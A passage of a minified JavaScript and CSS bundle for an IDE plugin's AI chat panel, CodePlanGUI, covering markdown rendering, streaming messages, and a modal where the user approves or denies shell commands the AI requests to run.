";return t?Promise.resolve(a):a}if(t)return Promise.reject(n);throw n}}},Qi=new vL;function gt(e,t){return Qi.parse(e,t)}gt.options=gt.setOptions=function(e){return Qi.setOptions(e),gt.defaults=Qi.defaults,cL(gt.defaults),gt};gt.getDefaults=bh;gt.defaults=io;gt.use=function(...e){return Qi.use(...e),gt.defaults=Qi.defaults,cL(gt.defaults),gt};gt.walkTokens=function(e,t){return Qi.walkTokens(e,t)};gt.parseInline=Qi.parseInline;gt.Parser=vr;gt.parser=vr.parse;gt.Renderer=Id;gt.TextRenderer=Nh;gt.Lexer=br;gt.lexer=br.lex;gt.Tokenizer=Ad;gt.Hooks=Uu;gt.parse=gt;gt.options;gt.setOptions;gt.use;gt.walkTokens;gt.parseInline;vr.parse;br.lex;function IK(e){if(typeof e=="function"&&(e={highlight:e}),!e||typeof e.highlight!="function")throw new Error("Must provide highlight function");return typeof e.langPrefix!="string"&&(e.langPrefix="language-"),typeof e.emptyLangClass!="string"&&(e.emptyLangClass=""),{async:!!e.async,walkTokens(t){if(t.type!=="code")return;const n=jA(t.lang);if(e.async)return Promise.resolve(e.highlight(t.text,n,t.lang||"")).then(XA(t));const a=e.highlight(t.text,n,t.lang||"");if(a instanceof Promise)throw new Error("markedHighlight is not set to async but the highlight function is async. Set the async option to true on markedHighlight to await the async highlight function.");XA(t)(a)},useNewRenderer:!0,renderer:{code(t,n,a){typeof t=="object"&&(a=t.escaped,n=t.lang,t=t.text);const r=jA(n),i=r?e.langPrefix+JA(r):e.emptyLangClass,o=i?` class="${i}"`:"";return t=t.replace(/\n$/,""),`
${a?t:JA(t,!0)}
+
`}}}}function jA(e){return(e||"").match(/\S*/)[0]}function XA(e){return t=>{typeof t=="string"&&t!==e.text&&(e.escaped=!0,e.text=t)}}const hL=/[&<>"']/,DK=new RegExp(hL.source,"g"),TL=/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/,xK=new RegExp(TL.source,"g"),MK={"&":"&","<":"<",">":">",'"':""","'":"'"},ZA=e=>MK[e];function JA(e,t){if(t){if(hL.test(e))return e.replace(DK,ZA)}else if(TL.test(e))return e.replace(xK,ZA);return e}const wK=new vL(IK({langPrefix:"hljs language-",highlight(e,t){const n=HA.getLanguage(t)?t:"plaintext";return HA.highlight(e,{language:n}).value}}));async function LK(e){if(navigator.clipboard?.writeText)try{return await navigator.clipboard.writeText(e),!0}catch{}const t=document.createElement("textarea");t.value=e,t.style.position="fixed",t.style.opacity="0",document.body.appendChild(t),t.focus(),t.select();try{return document.execCommand("copy")}finally{document.body.removeChild(t)}}function PK({content:e}){const t=m.useRef(null);return m.useEffect(()=>{if(!t.current)return;const n=wK.parse(e);t.current.innerHTML=C3.sanitize(n),t.current.querySelectorAll("pre").forEach(a=>{const r=a.querySelector("code");if(!r||a.querySelector("button"))return;a.classList.add("assistant-code-block");const i=document.createElement("div");i.className="bubble-copy-anchor",a.appendChild(i);const o=document.createElement("div");i.appendChild(o);const s=document.createElement("button");s.className="bubble-copy-fallback",s.textContent="Copy",s.onclick=async()=>{await LK(r.textContent||"")&&(s.textContent="Copied",window.setTimeout(()=>{s.textContent="Copy"},2e3))},o.appendChild(s)})},[e]),K.jsx("div",{ref:t,className:"assistant-markdown"})}function kK({logs:e,isStreaming:t}){const[n,a]=m.useState(!1),r=m.useRef(null),i=m.useRef(t);return m.useEffect(()=>{t?i.current=!0:i.current&&(i.current=!1,a(!0))},[t]),m.useEffect(()=>{r.current&&!n&&(r.current.scrollTop=r.current.scrollHeight)},[e.length,n]),e.length===0?null:K.jsxs("div",{className:"exec-log-panel",children:[K.jsxs("div",{className:"exec-log-header",onClick:()=>a(!n),children:[n?K.jsx(YU,{}):K.jsx(bU,{}),K.jsxs("span",{className:"exec-log-title",children:["Output (",e.length,")"]})]}),!n&&K.jsxs("div",{ref:r,className:"exec-log-body",children:[e.map((o,s)=>K.jsx("div",{className:`exec-log-line exec-log-${o.type}`,children:o.text},s)),t&&K.jsx("span",{className:"stream-cursor"})]})]})}function UK({data:e}){const{command:t,status:n,result:a,logs:r}=e,i=n==="running",o=r&&r.length>0,s=()=>{switch(n){case"waiting":return K.jsxs(K.Fragment,{children:[K.jsx(UU,{style:{marginRight:6}}),"等待审批"]});case"running":return K.jsxs(K.Fragment,{children:[K.jsx(Jd,{style:{marginRight:6}}),"执行中"]});case"blocked":return K.jsxs(K.Fragment,{children:[K.jsx(mC,{style:{marginRight:6,color:"#ff4d4f"}}),"已拦截 · ",a?.reason]});case"denied":return K.jsxs(K.Fragment,{children:[K.jsx(mC,{style:{marginRight:6,color:"#ff4d4f"}}),"用户拒绝"]});case"timeout":return K.jsxs(K.Fragment,{children:[K.jsx(sU,{style:{marginRight:6,color:"#faad14"}}),"超时 · ",a?.timeout_seconds,"s"]});case"done":{if(!a)return null;const l=a.status==="ok",c=a.duration_ms?`${(a.duration_ms/1e3).toFixed(1)}s`:"";return l?K.jsxs(K.Fragment,{children:[K.jsx(nU,{style:{marginRight:6,color:"#52c41a"}}),"完成 · exit ",a.exit_code," · ",c]}):K.jsxs(K.Fragment,{children:[K.jsx(_U,{style:{marginRight:6,color:"#ff4d4f"}}),"失败 · exit ",a.exit_code," · ",c]})}}};return K.jsxs("div",{className:"exec-card",children:[K.jsx("div",{className:"exec-card-header",children:s()}),K.jsxs(In.Text,{code:!0,className:"exec-card-command",children:["$ ",t]}),o&&K.jsx(kK,{logs:r,isStreaming:i}),!o&&a?.stdout&&K.jsx(eI,{text:a.stdout,label:"stdout"}),!o&&a?.stderr&&K.jsx(eI,{text:a.stderr,label:"stderr"}),a?.truncated&&K.jsx(In.Text,{type:"secondary",style:{fontSize:11},children:"[output truncated]"})]})}const BE=5;function eI({text:e,label:t}){const n=e.split(` +`),[a,r]=m.useState(n.length<=BE),i=a?n:n.slice(0,BE);return K.jsxs("div",{style:{marginTop:8},children:[t&&K.jsx(In.Text,{type:"secondary",style:{fontSize:11},children:t}),K.jsx("pre",{style:{margin:"4px 0",fontSize:12,overflowX:"auto",background:"rgba(0,0,0,0.04)",padding:"6px 10px",borderRadius:4},children:i.join(` +`)}),!a&&K.jsxs(In.Link,{style:{fontSize:12},onClick:()=>r(!0),children:["▼ show ",n.length-BE," more lines"]})]})}async function BK(e){if(navigator.clipboard?.writeText)try{return await navigator.clipboard.writeText(e),!0}catch{}const t=document.createElement("textarea");t.value=e,t.style.position="fixed",t.style.opacity="0",document.body.appendChild(t),t.focus(),t.select();try{return document.execCommand("copy")}finally{document.body.removeChild(t)}}function FK({text:e}){const[t,n]=m.useState(!1),a=async()=>{await BK(e)&&(n(!0),setTimeout(()=>n(!1),2e3))};return K.jsx(Vn,{type:"text",size:"small",icon:t?K.jsx(bM,{}):K.jsx(vM,{}),onClick:a,className:"bubble-copy-button"})}const GK=m.memo(function({group:t}){return K.jsx("div",{className:"assistant-group",children:t.children.map(n=>n.kind==="execution"?K.jsx(UK,{data:n.data},n.data.requestId):K.jsx("div",{className:"message-row message-row-assistant",children:K.jsxs("div",{className:"message-bubble message-bubble-assistant",children:[K.jsxs("div",{className:"assistant-bubble-header",children:[K.jsx("span",{className:"assistant-bubble-label",children:"assistant"}),K.jsx(FK,{text:n.content})]}),K.jsx(PK,{content:n.content}),n.isStreaming&&K.jsx("span",{className:"stream-cursor"})]})},n.id))})});function $K(e){const n=e.trimStart().split(/\s+|[|;><&]/)[0]?.trim()??"";return n.substring(n.lastIndexOf("/")+1)}function zK({open:e,command:t,description:n,onAllow:a,onDeny:r}){const[i,o]=m.useState(!1),s=()=>{a(i),o(!1)},l=()=>{r(),o(!1)},c=$K(t),u=c?`允许所有 ${c} 命令自动执行`:"记住此命令,以后自动执行";return K.jsxs(Ya,{open:e,getContainer:!1,title:K.jsxs("span",{children:[K.jsx(eB,{style:{color:"#faad14",marginRight:8}}),"AI 请求执行命令"]}),footer:[K.jsx(Vn,{onClick:l,children:"拒绝"},"deny"),K.jsx(Vn,{type:"primary",danger:!0,onClick:s,children:"允许执行"},"allow")],closable:!1,maskClosable:!1,children:[K.jsx("div",{style:{marginBottom:12},children:K.jsxs(In.Text,{code:!0,style:{fontSize:13,display:"block",padding:"8px 12px",background:"rgba(0,0,0,0.06)",borderRadius:6},children:["$ ",t]})}),n&&K.jsx(In.Text,{type:"secondary",children:n}),K.jsx("div",{style:{marginTop:12},children:K.jsx(_h,{checked:i,onChange:d=>o(d.target.checked),children:u})})]})}function YK({error:e,onClose:t}){const n=e.type==="config"?"warning":"error",a=e.action==="openSettings"?K.jsx(Vn,{size:"small",type:"link",onClick:()=>window.__bridge?.openSettings(),children:"打开设置"}):e.action==="retry"?K.jsx(Vn,{size:"small",type:"link",onClick:t,children:"关闭"}):void 0;return K.jsx(P0,{message:e.message,type:n,closable:!0,onClose:t,className:"error-banner",action:a?K.jsx(mh,{children:a}):void 0})}const HK={unconfigured:"Provider not configured",ready:"Ready",streaming:"Streaming response",error:"API key missing"};function qK(e){return HK[e]}function VK({inputText:e,isLoading:t,isBridgeReady:n,connectionState:a}){const r=e.trim();return n?a==="unconfigured"?{canSend:!1,reason:"请先在 Settings 中配置 Provider",text:r}:a==="error"?{canSend:!1,reason:"API Key 未设置或未保存,请在 Settings 中重新配置并应用",text:r}:t?{canSend:!1,reason:"请等待当前响应完成",text:r}:r?{canSend:!0,reason:null,text:r}:{canSend:!1,reason:"请输入问题",text:r}:{canSend:!1,reason:"IDE bridge 正在连接,请稍后",text:r}}function WK({onNewChat:e,onOpenSettings:t,status:n,bridgeReady:a}){const r=n.providerName||"CodePlanGUI",i=n.model||(a?"Select a provider in Settings":"Connecting bridge");return K.jsxs("div",{className:"provider-bar",children:[K.jsxs("div",{children:[K.jsx(In.Title,{level:5,className:"provider-title",children:r}),K.jsxs(In.Text,{className:"provider-meta",children:[i," · ",qK(n.connectionState)]}),n.contextFile&&K.jsxs(In.Text,{className:"provider-context",title:n.contextFile,children:[K.jsx(DU,{})," ",n.contextFile]})]}),K.jsxs("div",{className:"provider-actions",children:[K.jsx(Vn,{type:"text",size:"small",icon:K.jsx(QU,{}),onClick:t,title:"Open Settings",className:"provider-action"}),K.jsx(Vn,{type:"text",size:"small",icon:K.jsx(GU,{}),onClick:e,title:"New Chat",className:"provider-action"})]})]})}function KK(e,t){return e?t?{label:"context on",title:t}:{label:"no open file",title:"当前没有可附加的文件上下文"}:{label:"context off",title:"不附加文件上下文"}}function CL(e){if(typeof e=="string")return e;if(e==null)return"{}";try{return JSON.stringify(e)}catch{return"{}"}}function QK(e){const t=CL(e);try{return JSON.parse(t)}catch{return}}function jK(e,t){return{...e,...t,contextFile:t.contextFile??e.contextFile??""}}function XK(e,t){return{...e,contextFile:t}}function ZK(e){for(let t=e.length-1;t>=0;t--)if(e[t].type==="assistant")return t;return-1}function Co(e,t){const n=ZK(e.groups);if(n===-1)return e;const a=[...e.groups];return a[n]=t(a[n]),{...e,groups:a}}function JK(e){const t=[];let n=null;for(const a of e)a.role!=="user"&&a.role!=="assistant"||a.role==="assistant"&&a.content.trim().length===0||(a.role==="user"?(n&&(t.push(n),n=null),t.push({type:"human",id:a.id,message:{id:a.id,content:a.content}})):(n||(n={type:"assistant",id:a.id,children:[],isStreaming:!1}),n.children.push({kind:"text",id:`text-${a.id}`,content:a.content,isStreaming:!1})));return n&&t.push(n),t}function e9(e,t,n){switch(t){case"start":{const a=e.groups[e.groups.length-1];return a?.type==="assistant"&&a.isStreaming?{...e,isLoading:!0,error:null,currentRoundTextIndex:null}:{...e,isLoading:!0,error:null,currentRoundTextIndex:null,groups:[...e.groups,{type:"assistant",id:n.msgId,children:[],isStreaming:!0}]}}case"token":{const a=e.groups[e.groups.length-1];if(a?.type!=="assistant")return e;const r=a,i=e.currentRoundTextIndex;if(i!==null&&r.children[i]?.kind==="text"){const c=r.children[i],u=[...r.children];u[i]={kind:"text",id:c.id,content:c.content+n.text,isStreaming:c.isStreaming};const d=[...e.groups];return d[d.length-1]={...r,children:u},{...e,groups:d}}const o={kind:"text",id:`text-${crypto.randomUUID()}`,content:n.text,isStreaming:!0},s=r.children.length,l=[...e.groups];return l[l.length-1]={...r,children:[...r.children,o]},{...e,groups:l,currentRoundTextIndex:s}}case"execution_card":return Co(e,a=>({...a,children:[...a.children,{kind:"execution",data:{requestId:n.requestId,command:n.command,status:"running"}}]}));case"log":return Co(e,a=>({...a,children:a.children.map(r=>r.kind==="execution"&&r.data.requestId===n.requestId?{...r,data:{...r.data,logs:[...r.data.logs||[],{text:n.line,type:n.type}]}}:r)}));case"execution_status":{const a=QK(n.result);return Co(e,r=>({...r,children:r.children.map(i=>i.kind==="execution"&&i.data.requestId===n.requestId?{...i,data:{...i.data,status:n.status,result:a}}:i)}))}case"approval_request":return{...Co(e,a=>({...a,children:a.children.map(r=>r.kind==="execution"&&r.data.requestId===n.requestId?{...r,data:{...r.data,status:"waiting"}}:r)})),approvalRequestId:n.requestId,approvalCommand:n.command,approvalDescription:n.description,approvalToolName:n.toolName||"",approvalOpen:!0};case"round_end":return e.currentRoundTextIndex!==null?Co({...e,currentRoundTextIndex:null},a=>({...a,children:a.children.filter((r,i)=>i!==e.currentRoundTextIndex)})):e;case"end":return Co({...e,isLoading:!1,continuationInfo:null,currentRoundTextIndex:null},a=>({...a,isStreaming:!1,children:a.children.map(r=>r.kind==="text"?{...r,isStreaming:!1}:r)}));case"error":{const a=e.groups.map(r=>r.type==="assistant"&&r.isStreaming?{...r,isStreaming:!1,children:r.children.map(i=>i.kind==="text"?{...i,isStreaming:!1}:i)}:r);return{...e,isLoading:!1,continuationInfo:null,currentRoundTextIndex:null,groups:a,error:{type:"runtime",message:n.message}}}case"structured_error":{const a=e.groups.map(r=>r.type==="assistant"&&r.isStreaming?{...r,isStreaming:!1,children:r.children.map(i=>i.kind==="text"?{...i,isStreaming:!1}:i)}:r);return{...e,isLoading:!1,continuationInfo:null,currentRoundTextIndex:null,groups:a,error:{type:n.type,message:n.message,action:n.action}}}case"continuation":return{...e,continuationInfo:{current:n.current,max:n.max}};case"restore_messages":return{...e,groups:JK(JSON.parse(n.messages))};case"status":return{...e,status:jK(e.status,n)};case"context_file":return{...e,status:XK(e.status,n.fileName)};case"theme":return{...e,themeMode:n.mode};default:return e}}function t9(e){const[t,n]=m.useState(()=>window.__bridge?.isReady===!0),a=m.useRef(!1),r=m.useRef(e);return r.current=e,m.useEffect(()=>{const i=()=>{window.__bridge||(window.__bridge={isReady:!1,sendMessage:()=>{},newChat:()=>{},openSettings:()=>{},cancelStream:()=>{},frontendReady:()=>{},debugLog:()=>{},onEvent:(s,l)=>{},approvalResponse:()=>{}}),window.__bridge.onEvent=(s,l)=>{try{const c=JSON.parse(l);r.current(s,c)}catch(c){console.warn(`[CodePlanGUI] Failed to parse event payload: type=${s}`,c)}};const o=window.__bridge.isReady===!0;n(o),o&&!a.current&&(a.current=!0,window.__bridge.frontendReady())};return i(),document.addEventListener("bridge_ready",i),()=>document.removeEventListener("bridge_ready",i)},[]),t}function n9(e,t,n){const a=e.trim();return!n||t||!a?null:{text:a}}const a9={groups:[],isLoading:!1,error:null,status:{providerName:"",model:"",connectionState:"unconfigured",contextFile:""},themeMode:"dark",approvalOpen:!1,approvalRequestId:"",approvalCommand:"",approvalDescription:"",approvalToolName:"",fileChangeAutos:[],continuationInfo:null,currentRoundTextIndex:null};function r9(){const[e,t]=m.useState(a9),[n,a]=m.useState(""),r=m.useRef(!1),[i,o]=m.useState(!0),s=m.useRef(null),{groups:l,isLoading:c,error:u,status:d,themeMode:_,approvalOpen:p,approvalRequestId:f,approvalCommand:v,approvalDescription:b,approvalToolName:E,continuationInfo:g}=e;m.useEffect(()=>{document.documentElement.classList.remove("theme-dark","theme-light"),document.documentElement.classList.add(`theme-${_}`)},[_]);const S=()=>{s.current?.scrollIntoView({behavior:"smooth"})};m.useEffect(()=>{S()},[l]);const h=m.useCallback(N=>{window.__bridge?.debugLog(N)},[]),C=m.useCallback((N,D)=>{if(N==="execution_card")h(`[approval-ui] received execution card requestId=${D.requestId} command=${D.command} description=${D.description}`);else if(N==="approval_request")h(`[approval-ui] received approval request requestId=${D.requestId} command=${D.command} description=${D.description}`);else if(N==="execution_status"){const G=CL(D.result);h(`[approval-ui] received execution status requestId=${D.requestId} status=${D.status} result=${G.slice(0,240)}`)}t(G=>e9(G,N,D))},[h]),y=m.useCallback(N=>{h(`[approval-ui] modal allow clicked requestId=${f} addToWhitelist=${N}`),t(D=>({...D,approvalOpen:!1})),window.__bridge?.approvalResponse(f,"allow",N)},[f,h]),T=m.useCallback(()=>{h(`[approval-ui] modal deny clicked requestId=${f}`),t(N=>({...N,approvalOpen:!1})),window.__bridge?.approvalResponse(f,"deny")},[f,h]),O=_==="dark"?Vy.darkAlgorithm:Vy.defaultAlgorithm,A=t9(C);m.useEffect(()=>{A&&t(N=>({...N,error:null}))},[A]);const I=VK({inputText:n,isLoading:c,isBridgeReady:A,connectionState:d.connectionState}),x=KK(i,d.contextFile||""),w=()=>{if(!I.canSend){I.reason&&I.text&&t(G=>({...G,error:{type:"runtime",message:I.reason}}));return}const N=n9(I.text,c,A);if(!N)return;const D=t3();t(G=>({...G,groups:[...G.groups,{type:"human",id:D,message:{id:D,content:N.text}}]})),a(""),window.__bridge?.sendMessage(N.text,i)},U=N=>{N.key==="Enter"&&!N.shiftKey&&!r.current&&(N.preventDefault(),w())},L=()=>{t(N=>({...N,groups:[],error:null,isLoading:!1,currentRoundTextIndex:null})),window.__bridge?.newChat()},P=m.useCallback(()=>{c&&window.__bridge?.cancelStream()},[c]);m.useEffect(()=>{const N=D=>{D.key==="Escape"&&c&&(D.preventDefault(),window.__bridge?.cancelStream())};return document.addEventListener("keydown",N),()=>document.removeEventListener("keydown",N)},[c]);const R=N=>{N.style.height="auto",N.style.height=`${Math.min(N.scrollHeight,120)}px`};return K.jsx(Pr,{theme:{algorithm:O,token:{colorPrimary:"#d2a15e",colorInfo:"#d2a15e",borderRadius:16,fontFamily:"-apple-system, BlinkMacSystemFont, 'Segoe UI', 'Inter', sans-serif"}},children:K.jsxs("div",{className:"app-shell",children:[K.jsx(zK,{open:p,command:v,description:b,onAllow:y,onDeny:T}),K.jsx(WK,{onNewChat:L,onOpenSettings:()=>window.__bridge?.openSettings(),status:d,bridgeReady:A}),u&&K.jsx(YK,{error:u,onClose:()=>t(N=>({...N,error:null}))}),K.jsxs("div",{className:"messages-area",children:[l.length===0&&K.jsx("div",{className:"empty-state",children:K.jsxs("div",{className:"empty-card",children:[K.jsx("div",{className:"empty-icon",children:"✦"}),K.jsx("div",{className:"empty-kicker",children:"Ready for context"}),K.jsx(In.Title,{level:3,className:"empty-title",children:"向 AI 提问,或选中代码后右键 Ask AI"}),K.jsxs("div",{className:"empty-copy",children:["当前会话支持流式输出、上下文注入和 Markdown 代码块复制。输入区支持",K.jsx("strong",{children:" Enter 发送"}),",",K.jsx("strong",{children:"Shift+Enter 换行"}),"。"]}),d.connectionState==="unconfigured"&&K.jsx(Vn,{type:"link",onClick:()=>window.__bridge?.openSettings(),children:"打开 Settings 配置 Provider"})]})}),l.map(N=>N.type==="human"?K.jsx("div",{className:"message-row message-row-user",children:K.jsx("div",{className:"message-bubble message-bubble-user",children:K.jsx(In.Text,{children:N.message.content})})},N.id):K.jsx(GK,{group:N},N.id)),c&&!l.some(N=>N.type==="assistant"&&N.children.some(D=>D.kind==="text"&&D.isStreaming))&&K.jsxs("div",{className:"continuation-indicator",children:[K.jsx("span",{className:"continuation-spinner"}),g&&K.jsxs("span",{className:"continuation-text",children:["续写中 ",g.current,"/",g.max]})]}),K.jsx("div",{ref:s})]}),K.jsxs("div",{className:"input-area",children:[K.jsx("div",{className:"input-meta",children:K.jsxs("div",{className:"context-toggle",children:[K.jsx(Cc,{title:x.title,children:K.jsx(Hw,{size:"small",checked:i,onChange:o})}),K.jsx("span",{className:"context-caption context-file-label",title:x.title,children:x.label})]})}),K.jsxs("div",{className:"composer-row",children:[K.jsx("textarea",{value:n,onChange:N=>{a(N.target.value),R(N.target)},onCompositionStart:()=>{r.current=!0},onCompositionEnd:N=>{r.current=!1,a(N.target.value)},onKeyDown:U,placeholder:"输入问题... (Enter 发送,Shift+Enter 换行)",disabled:c,rows:1,className:"composer-input"}),K.jsx(Vn,{type:"primary",icon:c?K.jsx(Xk,{}):K.jsx(VU,{}),onClick:c?P:w,disabled:!c&&!I.canSend,title:c?"停止生成 (Esc)":I.reason??"Send",size:"small",className:"send-button"})]})]})]})})}Tk.createRoot(document.getElementById("root")).render(K.jsx(m.StrictMode,{children:K.jsx(r9,{})})); +*/.hljs{color:#c9d1d9;background:#0d1117}.hljs-doctag,.hljs-keyword,.hljs-meta .hljs-keyword,.hljs-template-tag,.hljs-template-variable,.hljs-type,.hljs-variable.language_{color:#ff7b72}.hljs-title,.hljs-title.class_,.hljs-title.class_.inherited__,.hljs-title.function_{color:#d2a8ff}.hljs-attr,.hljs-attribute,.hljs-literal,.hljs-meta,.hljs-number,.hljs-operator,.hljs-variable,.hljs-selector-attr,.hljs-selector-class,.hljs-selector-id{color:#79c0ff}.hljs-regexp,.hljs-string,.hljs-meta .hljs-string{color:#a5d6ff}.hljs-built_in,.hljs-symbol{color:#ffa657}.hljs-comment,.hljs-code,.hljs-formula{color:#8b949e}.hljs-name,.hljs-quote,.hljs-selector-tag,.hljs-selector-pseudo{color:#7ee787}.hljs-subst{color:#c9d1d9}.hljs-section{color:#1f6feb;font-weight:700}.hljs-bullet{color:#f2cc60}.hljs-emphasis{color:#c9d1d9;font-style:italic}.hljs-strong{color:#c9d1d9;font-weight:700}.hljs-addition{color:#aff5b4;background-color:#033a16}.hljs-deletion{color:#ffdcd7;background-color:#67060c}:root,.theme-dark{color-scheme:dark;--bg: #0f1115;--bg-elevated: rgba(22, 24, 30, .86);--panel: rgba(29, 31, 38, .84);--panel-strong: rgba(40, 30, 20, .72);--border: rgba(232, 214, 190, .12);--border-strong: rgba(214, 164, 95, .28);--text: #f2eadf;--muted: #bcae9a;--accent: #d2a15e;--accent-strong: #f0c488;--danger: #ff8a75;--shadow: 0 18px 48px rgba(0, 0, 0, .35);--font-body: "Avenir Next", "Iowan Old Style", "Palatino Linotype", "Book Antiqua", serif;--font-mono: "SFMono-Regular", "JetBrains Mono", "Menlo", monospace;--input-bg: rgba(22, 24, 30, .92);--input-border: rgba(232, 214, 190, .14);--input-placeholder: rgba(188, 174, 154, .68);--input-focus-border: rgba(240, 196, 136, .38);--input-focus-ring: rgba(210, 161, 94, .09);--gradient-bg: linear-gradient(180deg, #14171c 0%, #0f1115 100%);--bar-bg: linear-gradient(180deg, rgba(23, 25, 31, .92), rgba(16, 18, 24, .88));--input-area-bg: linear-gradient(180deg, rgba(16, 18, 24, .82), rgba(12, 14, 19, .94));--assistant-bubble-bg: linear-gradient(180deg, rgba(29, 31, 38, .94), rgba(17, 19, 24, .92));--pre-bg: rgba(7, 8, 11, .88);--pre-border: rgba(240, 196, 136, .12);--card-bg: linear-gradient(180deg, rgba(35, 28, 23, .54), rgba(16, 18, 24, .88));--send-button-bg: linear-gradient(135deg, #b98346, #87552b);--send-button-shadow: 0 10px 24px rgba(89, 47, 17, .28);--send-button-disabled-bg: rgba(70, 72, 80, .65);--send-button-disabled-border: rgba(255, 255, 255, .08)}.theme-light{color-scheme:light;--bg: #f5f5f5;--bg-elevated: rgba(255, 255, 255, .9);--panel: rgba(255, 255, 255, .85);--panel-strong: rgba(245, 240, 230, .8);--border: rgba(0, 0, 0, .08);--border-strong: rgba(210, 161, 94, .35);--text: #1a1a1a;--muted: #666666;--accent: #b98346;--accent-strong: #87552b;--danger: #d94e41;--shadow: 0 18px 48px rgba(0, 0, 0, .12);--input-bg: rgba(255, 255, 255, .95);--input-border: rgba(135, 85, 43, .18);--input-placeholder: rgba(102, 102, 102, .6);--input-focus-border: rgba(135, 85, 43, .35);--input-focus-ring: rgba(185, 131, 70, .14);--gradient-bg: linear-gradient(180deg, #fafafa 0%, #f5f5f5 100%);--bar-bg: linear-gradient(180deg, rgba(250, 250, 252, .97), rgba(242, 242, 246, .95));--input-area-bg: linear-gradient(180deg, rgba(248, 248, 250, .95), rgba(240, 240, 244, .98));--assistant-bubble-bg: linear-gradient(180deg, rgba(255, 255, 255, .95), rgba(248, 248, 250, .92));--pre-bg: rgba(236, 236, 240, .9);--pre-border: rgba(180, 130, 70, .15);--card-bg: linear-gradient(180deg, rgba(255, 255, 255, .85), rgba(242, 242, 246, .9));--send-button-bg: linear-gradient(135deg, #d5ae77, #b98346);--send-button-shadow: 0 10px 20px rgba(185, 131, 70, .18);--send-button-disabled-bg: rgba(205, 205, 210, .88);--send-button-disabled-border: rgba(120, 120, 128, .12)}*{box-sizing:border-box}html,body,#root{margin:0;min-height:100%;height:100%}body{overflow:hidden;font-family:var(--font-body);font-size:13px;color:var(--text);background:radial-gradient(circle at top left,rgba(210,161,94,.12),transparent 32%),radial-gradient(circle at bottom right,rgba(125,72,43,.14),transparent 30%),var(--gradient-bg)}body:before{content:"";position:fixed;inset:0;pointer-events:none;opacity:.1;background-image:linear-gradient(rgba(255,255,255,.04) 1px,transparent 1px),linear-gradient(90deg,rgba(255,255,255,.04) 1px,transparent 1px);background-size:36px 36px;mask-image:linear-gradient(180deg,rgba(255,255,255,.75),transparent)}.app-shell{display:flex;flex-direction:column;height:100vh;position:relative}.provider-bar{display:flex;align-items:flex-start;justify-content:space-between;gap:16px;padding:18px 18px 14px;border-bottom:1px solid var(--border);backdrop-filter:blur(16px);background:var(--bar-bg)}.provider-eyebrow,.assistant-bubble-label,.context-caption,.empty-kicker{text-transform:uppercase;letter-spacing:.18em;font-size:10px;color:var(--muted)}.provider-title{margin:4px 0 0!important;color:var(--text)!important;font-size:18px!important;font-weight:600!important}.provider-meta{display:block;margin-top:6px;color:var(--muted)!important}.provider-context{display:block;margin-top:4px;color:var(--accent)!important;font-size:11px}.provider-actions{display:flex;gap:8px}.provider-action.ant-btn{color:var(--accent)!important;border:1px solid var(--border-strong);border-radius:999px;background:#d2a15e14}.provider-action.ant-btn:hover{color:var(--accent-strong)!important;border-color:#f0c48873!important;background:#d2a15e24!important}.error-banner.ant-alert{margin:12px 16px 0;border-radius:16px;background:#5b1814c7;border:1px solid rgba(255,138,117,.25)}.messages-area{flex:1;overflow-y:auto;padding:16px 18px 12px;scroll-behavior:smooth}.empty-state{min-height:100%;display:flex;align-items:center;justify-content:center;text-align:center;padding:24px}.empty-card{width:min(100%,420px);padding:28px 24px;border-radius:28px;border:1px solid var(--border);background:var(--card-bg),var(--bg-elevated);box-shadow:var(--shadow)}.empty-icon{width:74px;height:74px;margin:0 auto 16px;display:grid;place-items:center;border-radius:50%;border:1px solid rgba(210,161,94,.28);background:radial-gradient(circle,#d2a15e33,#d2a15e08);color:var(--accent-strong);font-size:28px}.empty-title{margin:8px 0!important;color:var(--text)!important}.empty-copy{color:var(--muted);line-height:1.8}.message-row{display:flex;margin-bottom:16px}.message-row-user{justify-content:flex-end}.message-row-assistant{justify-content:flex-start}.message-bubble{max-width:min(88%,720px);border-radius:22px;border:1px solid var(--border);box-shadow:var(--shadow)}.message-bubble-user{padding:13px 15px;background:linear-gradient(135deg,#d2a15e3d,#7345266b),var(--panel-strong);border-radius:22px 22px 8px}.message-bubble-user .ant-typography{color:var(--text);white-space:pre-wrap;word-break:break-word}.message-bubble-assistant{width:100%;padding:14px 16px 16px;background:var(--assistant-bubble-bg),var(--panel)}.assistant-bubble-header{display:flex;align-items:center;justify-content:space-between;margin-bottom:10px}.bubble-copy-button.ant-btn{color:var(--muted)!important}.bubble-copy-button.ant-btn:hover{color:var(--accent-strong)!important;background:#d2a15e14!important}.assistant-markdown{line-height:1.75;color:var(--text);word-break:break-word}.assistant-markdown h1,.assistant-markdown h2,.assistant-markdown h3{font-weight:600;letter-spacing:.02em}.assistant-markdown p,.assistant-markdown ul,.assistant-markdown ol{margin:0 0 .9em}.assistant-markdown a{color:var(--accent-strong)}.assistant-markdown pre{margin:1.1em 0;padding:14px 14px 16px;overflow-x:auto;border-radius:18px;border:1px solid var(--pre-border);background:var(--pre-bg);position:relative}.assistant-markdown code{font-family:var(--font-mono)}.assistant-markdown code:not(pre code){padding:.15em .45em;border-radius:999px;background:#d2a15e1f;color:var(--accent-strong)}.bubble-copy-anchor{position:absolute;top:10px;right:10px}.bubble-copy-fallback{border:1px solid rgba(240,196,136,.18);border-radius:999px;background:#22242deb;color:var(--muted);font-family:var(--font-body);font-size:11px;padding:4px 9px;cursor:pointer}.bubble-copy-fallback:hover{color:var(--accent-strong)}.stream-cursor{display:inline-block;width:8px;height:14px;margin-left:4px;border-radius:3px;background:var(--accent);animation:blink .7s infinite;vertical-align:text-bottom}.continuation-indicator{display:flex;align-items:center;gap:8px;padding:8px 16px;color:var(--muted);font-size:12px}.continuation-text{color:var(--muted);font-size:12px}.continuation-spinner{display:inline-block;width:12px;height:12px;border:2px solid var(--border);border-top-color:var(--accent);border-radius:50%;animation:spin .8s linear infinite}@keyframes spin{to{transform:rotate(360deg)}}.input-area{display:flex;flex-direction:column;gap:10px;padding:14px 16px 18px;border-top:1px solid var(--border);background:var(--input-area-bg)}.input-meta{display:flex;align-items:center;justify-content:flex-start;gap:12px}.context-toggle{display:inline-flex;align-items:center;gap:10px}.context-caption{font-size:10px}.context-file-label{max-width:160px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;color:var(--accent)}.composer-row{display:flex;align-items:flex-end;gap:10px}.composer-input{flex:1;resize:none;min-height:44px;max-height:120px;padding:11px 13px;border-radius:18px;border:1px solid var(--input-border);background:var(--input-bg);color:var(--text);font:inherit;line-height:1.6;outline:none;box-shadow:inset 0 1px 